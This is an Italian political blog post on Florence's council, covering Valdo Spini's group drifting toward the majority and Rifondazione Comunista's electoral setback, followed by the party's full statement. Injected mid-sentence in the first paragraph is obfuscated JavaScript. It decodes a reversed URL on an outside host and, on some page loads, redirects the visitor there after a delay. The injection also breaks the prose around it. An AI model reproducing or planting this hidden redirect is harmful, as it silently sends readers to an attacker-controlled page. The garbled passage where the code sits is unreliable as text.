Rifondazione scarica Spini o è Spini a scaricare Rifondazione?

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Valdo Spini e Tommaso Grassi – il primo appartenente al partito di se stesso e il secondo ai Verdi –  dirigono il loro gruppo consiliare “Spini per Firenze” verso i comodi lidi della maggioranza. Ieri qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando nella primavera scorsa, addirittura prima delle elezioni, scriveva: “Ciò che a noi appare strano è che una persona che nella carriera politica ha compiuto delle scelte che niente hanno della cultura di sinistra [Spini ndr], possa candidarsi, negli anni del tramonto politico, come il nuovo alfiere della sinistra fiorentina.”

I fatti oggi ci danno ragione. Rifondazione scegliendo Spini come proprio candidato ha compiuto una sorta di karakiri politico, ed è per questo che è stata punita dai suoi elettori che, preferendo liste più coerenti e interessanti o astenendosi, l’hanno messa alla porta di Palazzo Vecchio.

Ciò che in realtà lascia increduli è l’atteggiamento di fiducia che si nutre ancora dalle parti di Rifondazione nella cosiddetta coalizione. Bontà loro… Anche se Sandro Targetti, colonna storica del partito a Firenze e per adesso voce solitaria, ricorda che, non essendo stato mai d’accordo sulla candidatura Spini a Sindaco, è quanto mai necessario far tesoro dell’esperienza di questi mesi anche in previsione delle prossime elezioni regionali.

Se potessimo scommettere con ognuno di voi, nostri affezionati lettori, proprio in vista delle regionali ci giocheremmo una cena su un accordo liscio liscio tra Rifondazione e PD. Perché alla fine il partito darà l’ok, nonostante il grande mal di pancia, proprio alla visione spiniana della politica dove è proibito opporsi al più forte.

Speriamo di sbagliarci.

Aggiornamento del 22 ottobre. Purtroppo non ci sbagliavamo. Ecco le dichiarazioni odierne di Spini al Corriere Fiorentino: «Questa nostra posizione facilita l’alleanza di sinistra in Regione, con il Prc in maggioranza»

Ecco la nota intergrale inviata da Rifondazione Comunista di Firenze sul voto di astensione dei consiglieri della lista Spini sul programma di mandato in Consiglio Comunale.

La ricchezza di una coalizione sta nel riuscire ad equilibrare posizioni diverse  per avanzare verso l’obiettivo proposto; l’astensione di ieri dei consiglieri della lista Spini sul programma di mandato non risponde all’obbiettivo di equilibrare sensibilità e valutazioni di merito diversificate. Le modalità del sindaco di esordire quasi quotidianamente con annunci mediaticamente molto efficaci ma poco sostenuti sul piano amministrativo, dà alle sue parole un valore di desiderata più che di concreti atti di governo cittadino, tutti da verificare sia come efficacia che come peso politico.

La pedonalizzazione di piazza Duomo, se oltre a rendere più bella la piazza servirà ad abbassare i livelli di inquinamento cittadino e a non appesantire oltre misura il traffico privato, sarà una buona cosa, ma non può esserci una posizione ideologica né di tattica politica: il giudizio non può che essere a posteriori. L’azzeramento della stazione Foster  è senza dubbio una ipotesi positiva, ancorché parziale, ma rimane solo un desiderio se non si creano le condizioni politiche ed economiche che lo consentano e rischia di servire solo a dire successivamente che la colpa è del Governo: francamente non vi è certo bisogno di un argomento in più per condannare senza appello questo pessimo governo.

Riteniamo pertanto che la scelta fatta dai consiglieri sia stata eccessivamente segnata dalla fiducia attribuita alle parole del sindaco, non sostenuta da atti consiliari che manifestassero l’apertura della maggioranza di Palazzo Vecchio a confrontarsi anche su altri temi deboli nel programma di mandato (l’uso del patrimonio comunale, le questioni del sociale, la questione del lavoro…) o addirittura inaccettabili come la conferma dell’inceneritore, in presenza di un programma di mandato che sembra più attestarsi sulle occasioni da cogliere (investitori stranieri, privato sociale) che su una programmazione delle attività e delle risposte che l’amministrazione deve dare alla città.

E’ indispensabile e urgente che tale equilibrio sia ristabilito evitando fughe in avanti o letture parziali della situazione fiorentina pena il fallimento, grave per tutti, dell’obiettivo proposto dalla coalizione agli elettori, cioè di funzionare come elemento di rottura del bipolarismo e di proporre un quadro complessivo alla città che armonizzi le risorse e i bisogni e risponda alle necessità che la crisi oggi propone.

La segreteria Provinciale fiorentina di Rifondazione Comunista

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